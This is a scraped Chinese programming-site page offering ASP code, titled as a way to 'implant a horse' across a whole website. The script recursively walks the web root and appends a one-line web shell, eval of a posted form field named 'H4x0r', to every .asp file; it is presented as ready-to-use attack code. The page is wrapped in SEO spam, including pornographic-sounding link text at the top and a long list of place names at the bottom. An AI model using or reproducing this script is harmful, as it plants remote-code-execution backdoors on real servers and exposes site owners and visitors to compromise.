国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > ASP > 正文

FSO遍歷目錄實現全站插馬的代碼

2024-05-04 10:58:01
字體:
來源:轉載
供稿:網友
<%
dim ph
dim intfile
server.ScriptTimeout = 600
ph=server.mappath("/") 
Sub InsertAllFiles(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
on error resume next 
Set f = FSO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2
If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then
Set FS1 = CreateObject("Scripting.FileSystemObject")
Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"
else
InsertAllFiles(newpath)
end if
tfile.close
Next
Set fsubfolers = f.SubFolders
For Each f1 in fsubfolers
newpath=path&""&f1.name
InsertAllFiles(newpath)

Next
set tfile=nothing
Set FSO = Nothing
End Sub
%>
<% 
call InsertAllFiles(ph)
%>
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 神木县| 新沂市| 怀安县| 建德市| 洪江市| 洛阳市| 大安市| 邢台市| 九江县| 常宁市| 津市市| 祁东县| 绥芬河市| 株洲县| 永嘉县| 高陵县| 甘孜县| 南丰县| 庆城县| 罗江县| 金山区| 永济市| 嘉义市| 偏关县| 洞头县| 涟水县| 云霄县| 沐川县| 博客| 磐安县| 繁昌县| 平潭县| 邹城市| 台东县| 阜城县| 林州市| 浙江省| 威海市| 察隅县| 陇西县| 新沂市|